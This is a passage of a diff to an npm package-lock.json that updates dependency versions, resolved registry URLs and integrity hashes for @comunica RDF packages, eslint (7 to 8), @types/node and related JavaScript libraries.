+        "@comunica/bus-rdf-update-quads": "^1.22.2",
         "cross-fetch": "^3.0.5"
       }
     },
     "@comunica/actor-rdf-update-hypermedia-sparql": {
-      "version": "1.22.1",
-      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-hypermedia-sparql/-/actor-rdf-update-hypermedia-sparql-1.22.1.tgz",
-      "integrity": "sha512-To9puiQLeTGsTCIDILxsNB2ih0e6RTliufaJsFY/VB1Lxi+EE/fHlkSHbaDNqhpLPJy+xJg5Rh2d4PHl1PaaEg==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-hypermedia-sparql/-/actor-rdf-update-hypermedia-sparql-1.22.2.tgz",
+      "integrity": "sha512-wtA5ZRqWdPH3lIjouCavTmfbNzLxP4QhmlR4SXeefgICf5bSP/2J7/UMBZHHpEmuQhrvqbKYRJGNzQSCzzd9vA==",
       "dev": true,
       "requires": {
         "fetch-sparql-endpoint": "^2.3.2",
@@ -2117,23 +2107,23 @@
       }
     },
     "@comunica/actor-rdf-update-quads-hypermedia": {
-      "version": "1.22.0",
-      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-quads-hypermedia/-/actor-rdf-update-quads-hypermedia-1.22.0.tgz",
-      "integrity": "sha512-2HuVuDwqXjrY2Hd0RmAbvu4AnfdIB2sYRfsI5UeexI6RfE02ZDUP0waI2iQqZnSH6UBQ3TZA88++kvLKLXxYgw==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-quads-hypermedia/-/actor-rdf-update-quads-hypermedia-1.22.2.tgz",
+      "integrity": "sha512-e6kbJTIo92ig4LxdgQTGHcXp3PjHjdWWqOpVDO6Um5S/hoYRWZLA5/KI9BAxIodyaMaYU+gfSymkVfSNPrJjmw==",
       "dev": true,
       "requires": {
-        "@comunica/bus-rdf-dereference": "^1.22.0",
+        "@comunica/bus-rdf-dereference": "^1.22.2",
         "@comunica/bus-rdf-metadata": "^1.22.0",
         "@comunica/bus-rdf-metadata-extract": "^1.22.0",
-        "@comunica/bus-rdf-update-hypermedia": "^1.22.0",
+        "@comunica/bus-rdf-update-hypermedia": "^1.22.2",
         "@types/lru-cache": "^5.1.0",
         "lru-cache": "^6.0.0"
       }
     },
     "@comunica/actor-rdf-update-quads-rdfjs-store": {
-      "version": "1.22.0",
-      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-quads-rdfjs-store/-/actor-rdf-update-quads-rdfjs-store-1.22.0.tgz",
-      "integrity": "sha512-p6DfywA3Pr3sTw4u3VMbxepmsYl7gn1Z9OSoMe1IP4zAPhnvLarsqEEfiG0qGoDlWgeWeMgJXEvjLwJ5zGfA5Q==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-quads-rdfjs-store/-/actor-rdf-update-quads-rdfjs-store-1.22.2.tgz",
+      "integrity": "sha512-veMjUWILDYzsvETvlGjFN14w5zNTAZlbFr7vmm6F4zuI5m5G4wnVHrdhU1cf7wp3foGVDOzp5jIC9Hl3UMKtCQ==",
       "dev": true,
       "requires": {
         "@rdfjs/types": "*",
@@ -2328,9 +2318,9 @@
       }
     },
     "@comunica/bus-rdf-dereference": {
-      "version": "1.22.0",
-      "resolved": "https://registry.npmjs.org/@comunica/bus-rdf-dereference/-/bus-rdf-dereference-1.22.0.tgz",
-      "integrity": "sha512-kqe+qqU3oi+i9imQt48EgT9qNDR+wxNFfKVmhGGgcpa+SSFkNhmqplX85f9PDwQg5ViRDcNmhvSV20frbUhjig==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@comunica/bus-rdf-dereference/-/bus-rdf-dereference-1.22.2.tgz",
+      "integrity": "sha512-dtLEmCzlscpe8AqEver8H+7a7UzyOXslUQ00VE+igt/+oAQvJpRBCQ3yB6XkyjAV/+ApLrbAjpCRf3Gp2NWfgg==",
       "dev": true,
       "requires": {
         "@comunica/context-entries": "^1.22.0",
@@ -2446,23 +2436,25 @@
       }
     },
     "@comunica/bus-rdf-update-hypermedia": {
-      "version": "1.22.0",
-      "resolved": "https://registry.npmjs.org/@comunica/bus-rdf-update-hypermedia/-/bus-rdf-update-hypermedia-1.22.0.tgz",
-      "integrity": "sha512-ialX6eUoWRbfmcxXQ45OxRm0yH6DmaR0xtjnKwlPs5+k2IXMVThEODLoUWqgrbbgi6luE3hShikYUFo9blW+Vw==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@comunica/bus-rdf-update-hypermedia/-/bus-rdf-update-hypermedia-1.22.2.tgz",
+      "integrity": "sha512-pvTEAKDgpCuUcR+JK/8VbuhiL1WYBMe9nyWdHZrrVhQC6hJMKB6Gmrly3qc8JKVk8iPmpYyAT4Ea29DxEIl6HQ==",
       "dev": true,
       "requires": {
-        "@comunica/bus-rdf-update-quads": "^1.22.0"
+        "@comunica/bus-rdf-update-quads": "^1.22.2"
       }
     },
     "@comunica/bus-rdf-update-quads": {
-      "version": "1.22.0",
-      "resolved": "https://registry.npmjs.org/@comunica/bus-rdf-update-quads/-/bus-rdf-update-quads-1.22.0.tgz",
-      "integrity": "sha512-Etlx76Kt2aElpS8bu42DsRoztvd1rW+5/VtKIDLxB0347QiPm8fCRYP2h4qnWn2Gr8Z9IW4aFskzjyMp8iWuJg==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@comunica/bus-rdf-update-quads/-/bus-rdf-update-quads-1.22.2.tgz",
+      "integrity": "sha512-MnczplJyAwZrfPAMfORKG+U8xdTxUbdKUcbopOk82JJvN3AjiDrbBetp3eS+Q+O+wV4Ae0kzrng+Q1aJ3zpiRA==",
       "dev": true,
       "requires": {
+        "@comunica/bus-http": "^1.22.1",
         "@comunica/context-entries": "^1.22.0",
         "@rdfjs/types": "*",
-        "asynciterator": "^3.2.0"
+        "asynciterator": "^3.2.0",
+        "stream-to-string": "^1.2.0"
       }
     },
     "@comunica/bus-sparql-parse": {
@@ -2589,13 +2581,13 @@
       }
     },
     "@comunica/utils-datasource": {
-      "version": "1.22.0",
-      "resolved": "https://registry.npmjs.org/@comunica/utils-datasource/-/utils-datasource-1.22.0.tgz",
-      "integrity": "sha512-snA/I8dkuL24KDhRtBdFd3In+dOKFp6wW+c6skNNxVN+Kvsmy3AR+MAVkRUi/7tAtgpk9R5a6L7vcYZdh/Sx7A==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@comunica/utils-datasource/-/utils-datasource-1.22.2.tgz",
+      "integrity": "sha512-f4md6ydlNu/0lCrcts0T+Rqwbyx68IdmCvyd8DChg/hWlVqKbrKW8RKPzYhIN7kyF/+IDqg0a0KVpoaaD1mBYw==",
       "dev": true,
       "requires": {
         "@comunica/bus-rdf-resolve-quad-pattern": "^1.22.0",
-        "@comunica/bus-rdf-update-quads": "^1.22.0",
+        "@comunica/bus-rdf-update-quads": "^1.22.2",
         "@comunica/context-entries": "^1.22.0",
         "asynciterator": "^3.2.0"
       }
@@ -2627,14 +2619,6 @@
         "make-error": "^1",
         "ts-node": "^9",
         "tslib": "^2"
-      },
-      "dependencies": {
-        "tslib": {
-          "version": "2.3.1",
-          "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz",
-          "integrity": "sha512-77EbyPPpMz+FRFRuAFlWMtmgUWGe9UOG2Z25NqCwiIjRhOf5iKGuzSe5P2w1laq+FkRy4p+PCuVkJSGkzTEKVw==",
-          "dev": true
-        }
       }
     },
     "@eslint/eslintrc": {
@@ -2773,6 +2757,86 @@
         "eslint-plugin-lit-a11y": "^1.0.1",
         "eslint-plugin-no-only-tests": "^2.4.0",
         "eslint-plugin-wc": "^1.2.0"
+      },
+      "dependencies": {
+        "@babel/code-frame": {
+          "version": "7.12.11",
+          "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.11.tgz",
+          "integrity": "sha512-Zt1yodBx1UcyiePMSkWnU4hPqhwq7hGi2nFL1LeA3EUl+q2LQx16MISgJ0+z7dnmgvP9QtIleuETGOiOH1RcIw==",
+          "dev": true,
+          "requires": {
+            "@babel/highlight": "^7.10.4"
+          }
+        },
+        "debug": {
+          "version": "4.3.2",
+          "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz",
+          "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==",
+          "dev": true,
+          "requires": {
+            "ms": "2.1.2"
+          }
+        },
+        "escape-string-regexp": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
+          "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
+          "dev": true
+        },
+        "eslint": {
+          "version": "7.32.0",
+          "resolved": "https://registry.npmjs.org/eslint/-/eslint-7.32.0.tgz",
+          "integrity": "sha512-VHZ8gX+EDfz+97jGcgyGCyRia/dPOd6Xh9yPv8Bl1+SoaIwD+a/vlrOmGRUyOYu7MwUhc7CxqeaDZU13S4+EpA==",
+          "dev": true,
+          "requires": {
+            "@babel/code-frame": "7.12.11",
+            "@eslint/eslintrc": "^0.4.3",
+            "@humanwhocodes/config-array": "^0.5.0",
+            "ajv": "^6.10.0",
+            "chalk": "^4.0.0",
+            "cross-spawn": "^7.0.2",
+            "debug": "^4.0.1",
+            "doctrine": "^3.0.0",
+            "enquirer": "^2.3.5",
+            "escape-string-regexp": "^4.0.0",
+            "eslint-scope": "^5.1.1",
+            "eslint-utils": "^2.1.0",
+            "eslint-visitor-keys": "^2.0.0",
+            "espree": "^7.3.1",
+            "esquery": "^1.4.0",
+            "esutils": "^2.0.2",
+            "fast-deep-equal": "^3.1.3",
+            "file-entry-cache": "^6.0.1",
+            "functional-red-black-tree": "^1.0.1",
+            "glob-parent": "^5.1.2",
+            "globals": "^13.6.0",
+            "ignore": "^4.0.6",
+            "import-fresh": "^3.0.0",
+            "imurmurhash": "^0.1.4",
+            "is-glob": "^4.0.0",
+            "js-yaml": "^3.13.1",
+            "json-stable-stringify-without-jsonify": "^1.0.1",
+            "levn": "^0.4.1",
+            "lodash.merge": "^4.6.2",
+            "minimatch": "^3.0.4",
+            "natural-compare": "^1.4.0",
+            "optionator": "^0.9.1",
+            "progress": "^2.0.0",
+            "regexpp": "^3.1.0",
+            "semver": "^7.2.1",
+            "strip-ansi": "^6.0.0",
+            "strip-json-comments": "^3.1.0",
+            "table": "^6.0.9",
+            "text-table": "^0.2.0",
+            "v8-compile-cache": "^2.0.3"
+          }
+        },
+        "ms": {
+          "version": "2.1.2",
+          "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+          "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+          "dev": true
+        }
       }
     },
     "@open-wc/scoped-elements": {
@@ -3229,9 +3293,9 @@
       }
     },
     "@types/node": {
-      "version": "16.10.1",
-      "resolved": "https://registry.npmjs.org/@types/node/-/node-16.10.1.tgz",
-      "integrity": "sha512-4/Z9DMPKFexZj/Gn3LylFgamNKHm4K3QDi0gz9B26Uk0c8izYf97B5fxfpspMNkWlFupblKM/nV8+NA9Ffvr+w==",
+      "version": "16.10.3",
+      "resolved": "https://registry.npmjs.org/@types/node/-/node-16.10.3.tgz",
+      "integrity": "sha512-ho3Ruq+fFnBrZhUYI46n/bV2GjwzSkwuT4dTf0GkuNFmnb8nq4ny2z9JEVemFi6bdEJanHLlYfy9c6FN9B9McQ==",
       "dev": true
     },
     "@types/normalize-package-data": {
@@ -3560,9 +3624,9 @@
       }
     },
     "@web/test-runner-commands": {
-      "version": "0.5.12",
-      "resolved": "https://registry.npmjs.org/@web/test-runner-commands/-/test-runner-commands-0.5.12.tgz",
-      "integrity": "sha512-W5ajWzO7+d3u1R0/FPBU8q3d4y5faOQVIWnOruFNvXu3Qjfg2VCWFOtARegA7ATNCE18H0dGRuF4KGxHDmMe3g==",
+      "version": "0.5.13",
+      "resolved": "https://registry.npmjs.org/@web/test-runner-commands/-/test-runner-commands-0.5.13.tgz",
+      "integrity": "sha512-FXnpUU89ALbRlh9mgBd7CbSn5uzNtr8gvnQZPOvGLDAJ7twGvZdUJEAisPygYx2BLPSFl3/Mre8pH8zshJb8UQ==",
       "dev": true,
       "requires": {
         "@web/test-runner-core": "^0.10.20",
@@ -3911,16 +3975,16 @@
       "dev": true
     },
     "array-includes": {
-      "version": "3.1.3",
-      "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.3.tgz",
-      "integrity": "sha512-gcem1KlBU7c9rB+Rq8/3PPKsK2kjqeEBa3bD5kkQo4nYlOHQCJqIJFqBXDEfwaRuYTT4E+FxA9xez7Gf/e3Q7A==",
+      "version": "3.1.4",
+      "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.4.tgz",
+      "integrity": "sha512-ZTNSQkmWumEbiHO2GF4GmWxYVTiQyJy2XOTa15sdQSrvKn7l+180egQMqlrMOUMCyLMD7pmyQe4mMDUT6Behrw==",
       "dev": true,
       "requires": {
         "call-bind": "^1.0.2",
         "define-properties": "^1.1.3",
-        "es-abstract": "^1.18.0-next.2",
+        "es-abstract": "^1.19.1",
         "get-intrinsic": "^1.1.1",
-        "is-string": "^1.0.5"
+        "is-string": "^1.0.7"
       }
     },
     "array-union": {
@@ -3930,14 +3994,14 @@
       "dev": true
     },
     "array.prototype.flat": {
-      "version": "1.2.4",
-      "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.2.4.tgz",
-      "integrity": "sha512-4470Xi3GAPAjZqFcljX2xzckv1qeKPizoNkiS0+O4IoPR2ZNpcjE0pkhdihlDouK+x6QOast26B4Q/O9DJnwSg==",
+      "version": "1.2.5",
+      "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.2.5.tgz",
+      "integrity": "sha512-KaYU+S+ndVqyUnignHftkwc58o3uVU1jzczILJ1tN2YaIZpFIKBiP/x/j97E5MVPsaCloPbqWLB/8qCTVvT2qg==",
       "dev": true,
       "requires": {
-        "call-bind": "^1.0.0",
+        "call-bind": "^1.0.2",
         "define-properties": "^1.1.3",
-        "es-abstract": "^1.18.0-next.1"
+        "es-abstract": "^1.19.0"
       }
     },
     "arrayify-stream": {
@@ -4037,6 +4101,34 @@
         "buffer": "^5.5.0",
         "inherits": "^2.0.4",
         "readable-stream": "^3.4.0"
+      },
+      "dependencies": {
+        "inherits": {
+          "version": "2.0.4",
+          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+          "dev": true
+        },
+        "readable-stream": {
+          "version": "3.6.0",
+          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
+          "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
+          "dev": true,
+          "requires": {
+            "inherits": "^2.0.3",
+            "string_decoder": "^1.1.1",
+            "util-deprecate": "^1.0.1"
+          }
+        },
+        "string_decoder": {
+          "version": "1.3.0",
+          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+          "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
+          "dev": true,
+          "requires": {
+            "safe-buffer": "~5.2.0"
+          }
+        }
       }
     },
     "brace-expansion": {
@@ -4225,9 +4317,9 @@
       "dev": true
     },
     "chrome-launcher": {
-      "version": "0.14.0",
-      "resolved": "https://registry.npmjs.org/chrome-launcher/-/chrome-launcher-0.14.0.tgz",
-      "integrity": "sha512-W//HpflaW6qBGrmuskup7g+XJZN6w03ko9QSIe5CtcTal2u0up5SeReK3Ll1Why4Ey8dPkv8XSodZyHPnGbVHQ==",
+      "version": "0.14.1",
+      "resolved": "https://registry.npmjs.org/chrome-launcher/-/chrome-launcher-0.14.1.tgz",
+      "integrity": "sha512-iQ4s61NkIyaozsE2VKg1Vu3YGdD3JGw+fBBrt3FYJi7uflO9TvlTLW4MUq0fq3EKGhzB/QHPd5AsLb14+9++JQ==",
       "dev": true,
       "requires": {
         "@types/node": "*",
@@ -4510,9 +4602,9 @@
       },
       "dependencies": {
         "@types/node": {
-          "version": "14.17.19",
-          "resolved": "https://registry.npmjs.org/@types/node/-/node-14.17.19.tgz",
-          "integrity": "sha512-jjYI6NkyfXykucU6ELEoT64QyKOdvaA6enOqKtP4xUsGY0X0ZUZz29fUmrTRo+7v7c6TgDu82q3GHHaCEkqZwA==",
+          "version": "14.17.21",
+          "resolved": "https://registry.npmjs.org/@types/node/-/node-14.17.21.tgz",
+          "integrity": "sha512-zv8ukKci1mrILYiQOwGSV4FpkZhyxQtuFWGya2GujWg+zVAeRQ4qbaMmWp9vb9889CFA8JECH7lkwCL6Ygg8kA==",
           "dev": true
         }
       }
@@ -4586,6 +4678,32 @@
         "through2": "^4.0.0"
       },
       "dependencies": {
+        "inherits": {
+          "version": "2.0.4",
+          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+          "dev": true
+        },
+        "readable-stream": {
+          "version": "3.6.0",
+          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
+          "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
+          "dev": true,
+          "requires": {
+            "inherits": "^2.0.3",
+            "string_decoder": "^1.1.1",
+            "util-deprecate": "^1.0.1"
+          }
+        },
+        "string_decoder": {
+          "version": "1.3.0",
+          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+          "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
+          "dev": true,
+          "requires": {
+            "safe-buffer": "~5.2.0"
+          }
+        },
         "through2": {
           "version": "4.0.2",
           "resolved": "https://registry.npmjs.org/through2/-/through2-4.0.2.tgz",
@@ -4625,9 +4743,9 @@
       }
     },
     "core-js-pure": {
-      "version": "3.18.0",
-      "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.18.0.tgz",
-      "integrity": "sha512-ZnK+9vyuMhKulIGqT/7RHGRok8RtkHMEX/BGPHkHx+ouDkq+MUvf9mfIgdqhpmPDu8+V5UtRn/CbCRc9I4lX4w==",
+      "version": "3.18.2",
+      "resolved": "https://registry.npmjs.org/core-js-pure/-/core-js-pure-3.18.2.tgz",
+      "integrity": "sha512-4hMMLUlZhKJKOWbbGD1/VDUxGPEhEoN/T01k7bx271WiBKCvCfkgPzy0IeRS4PB50p6/N1q/SZL4B/TRsTE5bA==",
       "dev": true
     },
     "core-util-is": {
@@ -4661,6 +4779,14 @@
       "dev": true,
       "requires": {
         "node-fetch": "2.6.1"
+      },
+      "dependencies": {
+        "node-fetch": {
+          "version": "2.6.1",
+          "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.1.tgz",
+          "integrity": "sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==",
+          "dev": true
+        }
       }
     },
     "cross-spawn": {
@@ -4770,6 +4896,13 @@
       "requires": {
         "abstract-leveldown": "~6.2.1",
         "inherits": "^2.0.3"
+      },
+      "dependencies": {
+        "inherits": {
+          "version": "2.0.4",
+          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
+        }
       }
     },
     "define-lazy-prop": {
@@ -4832,9 +4965,9 @@
       "dev": true
     },
     "diff": {
-      "version": "3.5.0",
-      "resolved": "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz",
-      "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==",
+      "version": "4.0.2",
+      "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz",
+      "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==",
       "dev": true
     },
     "dir-glob": {
@@ -4971,6 +5104,13 @@
         "inherits": "^2.0.3",
         "level-codec": "^9.0.0",
         "level-errors": "^2.0.0"
+      },
+      "dependencies": {
+        "inherits": {
+          "version": "2.0.4",
+          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
+        }
       }
     },
     "end-of-stream": {
@@ -5037,9 +5177,9 @@
       "dev": true
     },
     "es-abstract": {
-      "version": "1.18.6",
-      "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.6.tgz",
-      "integrity": "sha512-kAeIT4cku5eNLNuUKhlmtuk1/TRZvQoYccn6TO0cSVdf1kzB0T7+dYuVK9MWM7l+/53W2Q8M7N2c6MQvhXFcUQ==",
+      "version": "1.19.1",
+      "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.19.1.tgz",
+      "integrity": "sha512-2vJ6tjA/UfqLm2MPs7jxVybLoB8i1t1Jd9R3kISld20sIxPcTbLuggQOUxeWeAvIUkduv/CfMjuh4WmiXr2v9w==",
       "dev": true,
       "requires": {
         "call-bind": "^1.0.2",
@@ -5053,7 +5193,9 @@
         "is-callable": "^1.2.4",
         "is-negative-zero": "^2.0.1",
         "is-regex": "^1.1.4",
+        "is-shared-array-buffer": "^1.0.1",
         "is-string": "^1.0.7",
+        "is-weakref": "^1.0.1",
         "object-inspect": "^1.11.0",
         "object-keys": "^1.1.1",
         "object.assign": "^4.1.2",
@@ -5063,9 +5205,9 @@
       }
     },
     "es-module-lexer": {
-      "version": "0.9.0",
-      "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.9.0.tgz",
-      "integrity": "sha512-qU2eN/XHsrl3E4y7mK1wdWnyy5c8gXtCbfP6Xcsemm7fPUR1PIV1JhZfP7ojcN0Fzp69CfrS3u76h2tusvfKiQ==",
+      "version": "0.9.3",
+      "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.9.3.tgz",
+      "integrity": "sha512-1HQ2M2sPtxwnvOvT1ZClHyQDiggdNjURWpY2we6aMKCQiUVxTmVs2UYPLIrD84sS+kMdUwfBSylbJPwNnBrnHQ==",
       "dev": true
     },
     "es-to-primitive": {
@@ -5108,37 +5250,36 @@
       "dev": true
     },
     "eslint": {
-      "version": "7.32.0",
-      "resolved": "https://registry.npmjs.org/eslint/-/eslint-7.32.0.tgz",
-      "integrity": "sha512-VHZ8gX+EDfz+97jGcgyGCyRia/dPOd6Xh9yPv8Bl1+SoaIwD+a/vlrOmGRUyOYu7MwUhc7CxqeaDZU13S4+EpA==",
+      "version": "8.0.0",
+      "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.0.0.tgz",
+      "integrity": "sha512-03spzPzMAO4pElm44m60Nj08nYonPGQXmw6Ceai/S4QK82IgwWO1EXx1s9namKzVlbVu3Jf81hb+N+8+v21/HQ==",
       "dev": true,
       "requires": {
-        "@babel/code-frame": "7.12.11",
-        "@eslint/eslintrc": "^0.4.3",
-        "@humanwhocodes/config-array": "^0.5.0",
+        "@eslint/eslintrc": "^1.0.2",
+        "@humanwhocodes/config-array": "^0.6.0",
         "ajv": "^6.10.0",
         "chalk": "^4.0.0",
         "cross-spawn": "^7.0.2",
-        "debug": "^4.0.1",
+        "debug": "^4.3.2",
         "doctrine": "^3.0.0",
         "enquirer": "^2.3.5",
         "escape-string-regexp": "^4.0.0",
-        "eslint-scope": "^5.1.1",
-        "eslint-utils": "^2.1.0",
-        "eslint-visitor-keys": "^2.0.0",
-        "espree": "^7.3.1",
+        "eslint-scope": "^6.0.0",
+        "eslint-utils": "^3.0.0",
+        "eslint-visitor-keys": "^3.0.0",
+        "espree": "^9.0.0",
         "esquery": "^1.4.0",
         "esutils": "^2.0.2",
         "fast-deep-equal": "^3.1.3",
         "file-entry-cache": "^6.0.1",
         "functional-red-black-tree": "^1.0.1",
-        "glob-parent": "^5.1.2",
+        "glob-parent": "^6.0.1",
         "globals": "^13.6.0",
         "ignore": "^4.0.6",
         "import-fresh": "^3.0.0",
         "imurmurhash": "^0.1.4",
         "is-glob": "^4.0.0",
-        "js-yaml": "^3.13.1",
+        "js-yaml": "^4.1.0",
         "json-stable-stringify-without-jsonify": "^1.0.1",
         "levn": "^0.4.1",
         "lodash.merge": "^4.6.2",
@@ -5146,24 +5287,60 @@
         "natural-compare": "^1.4.0",
         "optionator": "^0.9.1",
         "progress": "^2.0.0",
-        "regexpp": "^3.1.0",
+        "regexpp": "^3.2.0",
         "semver": "^7.2.1",
         "strip-ansi": "^6.0.0",
         "strip-json-comments": "^3.1.0",
-        "table": "^6.0.9",
         "text-table": "^0.2.0",
         "v8-compile-cache": "^2.0.3"
       },
       "dependencies": {
-        "@babel/code-frame": {
-          "version": "7.12.11",
-          "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.11.tgz",
-          "integrity": "sha512-Zt1yodBx1UcyiePMSkWnU4hPqhwq7hGi2nFL1LeA3EUl+q2LQx16MISgJ0+z7dnmgvP9QtIleuETGOiOH1RcIw==",
+        "@eslint/eslintrc": {
+          "version": "1.0.2",
+          "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-1.0.2.tgz",
+          "integrity": "sha512-x1ZXdEFsvTcnbTZgqcWUL9w2ybgZCw/qbKTPQnab+XnYA2bMQpJCh+/bBzCRfDJaJdlrrQlOk49jNtru9gL/6Q==",
           "dev": true,
           "requires": {
-            "@babel/highlight": "^7.10.4"
+            "ajv": "^6.12.4",
+            "debug": "^4.3.2",
+            "espree": "^9.0.0",
+            "globals": "^13.9.0",
+            "ignore": "^4.0.6",
+            "import-fresh": "^3.2.1",
+            "js-yaml": "^3.13.1",
+            "minimatch": "^3.0.4",
+            "strip-json-comments": "^3.1.1"
+          },
+          "dependencies": {
+            "js-yaml": {
+              "version": "3.14.1",
+              "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
+              "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+              "dev": true,
+              "requires": {
+                "argparse": "^1.0.7",
+                "esprima": "^4.0.0"
+              }
+            }
+          }
+        },
+        "@humanwhocodes/config-array": {
+          "version": "0.6.0",
+          "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.6.0.tgz",
+          "integrity": "sha512-JQlEKbcgEUjBFhLIF4iqM7u/9lwgHRBcpHrmUNCALK0Q3amXN6lxdoXLnF0sm11E9VqTmBALR87IlUg1bZ8A9A==",
+          "dev": true,
+          "requires": {
+            "@humanwhocodes/object-schema": "^1.2.0",
+            "debug": "^4.1.1",
+            "minimatch": "^3.0.4"
           }
         },
+        "acorn": {
+          "version": "8.5.0",
+          "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.5.0.tgz",
+          "integrity": "sha512-yXbYeFy+jUuYd3/CDcg2NkIYE991XYX/bje7LmjJigUciaeO1JR4XxXgCIV1/Zc/dRuFEyw1L0pbA+qynJkW5Q==",
+          "dev": true
+        },
         "debug": {
           "version": "4.3.2",
           "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz",
@@ -5179,6 +5356,88 @@
           "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
           "dev": true
         },
+        "eslint-scope": {
+          "version": "6.0.0",
+          "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-6.0.0.tgz",
+          "integrity": "sha512-uRDL9MWmQCkaFus8RF5K9/L/2fn+80yoW3jkD53l4shjCh26fCtvJGasxjUqP5OT87SYTxCVA3BwTUzuELx9kA==",
+          "dev": true,
+          "requires": {
+            "esrecurse": "^4.3.0",
+            "estraverse": "^5.2.0"
+          }
+        },
+        "eslint-utils": {
+          "version": "3.0.0",
+          "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-3.0.0.tgz",
